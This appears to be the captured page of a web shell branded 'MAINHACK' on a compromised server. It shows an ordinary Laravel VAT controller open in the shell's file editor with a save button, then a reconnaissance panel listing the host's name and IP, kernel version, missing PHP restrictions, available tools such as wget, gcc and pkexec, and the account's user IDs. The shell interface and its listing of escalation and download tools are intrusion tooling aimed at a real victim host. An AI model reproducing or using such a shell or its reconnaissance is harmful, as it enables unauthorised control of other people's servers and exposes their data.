[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AcnooVatController.php
<?php namespace App\Http\Controllers\Api; use App\Http\Controllers\Controller; use App\Models\Business; use App\Models\Vat; use Illuminate\Http\Request; class AcnooVatController extends Controller { public function index() { $vats = Vat::where('business_id', auth()->user()->business_id) ->when(request('type') == 'single', function ($query) { $query->whereNull('sub_vat'); }) ->when(request('type') == 'group', function ($query) { $query->whereNotNull('sub_vat'); }) ->when(request('status'), function ($query) { $query->where('status', request('status') == 'active' ? 1 : 0); }) ->latest() ->get(); return response()->json([ 'message' => 'Data fetched successfully.', 'data' => $vats, ]); } public function store(Request $request) { $request->validate([ 'name' => 'required|string|max:255', 'vat_ids' => 'required_if:rate,null', 'rate' => 'required_if:rate,null|numeric', ]); if ($request->rate && !$request->vat_ids) { $vat = Vat::create($request->all() + [ 'business_id' => auth()->user()->business_id, ]); } elseif (!$request->rate && $request->vat_ids) { $vats = Vat::whereIn('id', $request->vat_ids)->select('id', 'name', 'rate')->get(); $tax_rate = 0; $sub_vats = []; foreach ($vats as $vat) { $sub_vats[] = [ 'id' => $vat->id, 'name' => $vat->name, 'rate' => $vat->rate, ]; $tax_rate += $vat->rate; } $vat = Vat::create([ 'rate' => $tax_rate, 'sub_vat' => $sub_vats, 'name' => $request->name, 'business_id' => auth()->user()->business_id, ]); } else { return response()->json([ 'message' => 'Invalid data format.', ], 406); } return response()->json([ 'message' => 'Data created successfully.', 'data' => $vat, ]); } public function update(Request $request, Vat $vat) { $request->validate([ 'name' => 'required|string|max:255', 'vat_ids' => 'required_if:rate,null', 'rate' => 'required_if:rate,null|numeric', ]); if ($request->rate && !$request->vat_ids) { $vat->update($request->all()); $vatGroupExist = Vat::where('sub_vat', 'LIKE', '%"id":' . $vat->id . '%')->get(); foreach ($vatGroupExist as $group) { $subVats = collect($group->sub_vat)->map(function ($subVat) use ($vat) { if ($subVat['id'] == $vat->id) { $subVat['rate'] = $vat->rate; $subVat['name'] = $vat->name; } return $subVat; }); $group->update([ 'rate' => $subVats->sum('rate'), 'sub_vat' => $subVats->toArray(), ]); } } elseif (!$request->rate && $request->vat_ids) { $vats = Vat::whereIn('id', $request->vat_ids)->select('id', 'name', 'rate')->get(); $tax_rate = 0; $sub_vats = []; foreach ($vats as $single_tax) { $sub_vats[] = [ 'id' => $single_tax->id, 'name' => $single_tax->name, 'rate' => $single_tax->rate, ]; $tax_rate += $single_tax->rate; } $vat->update([ 'rate' => $tax_rate, 'sub_vat' => $sub_vats, 'name' => $request->name, 'status' => $request->status ?? $vat->status, ]); } else { return response()->json([ 'message' => 'Invalid data format.', ], 406); } return response()->json([ 'message' => 'Data updated successfully.', 'data' => $vat, ]); } public function destroy(Vat $vat) { // When sub_vat is null, check if the VAT exists in any other VAT's sub_vat if (is_null($vat->sub_vat) && Vat::where('sub_vat', 'LIKE', '%"id":' . $vat->id . '%')->exists()) { return response()->json([ 'message' => 'Cannot delete. This VAT is part of a VAT group.', ], 404); } $vat->delete(); return response()->json([ 'message' => 'Data deleted successfully', ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002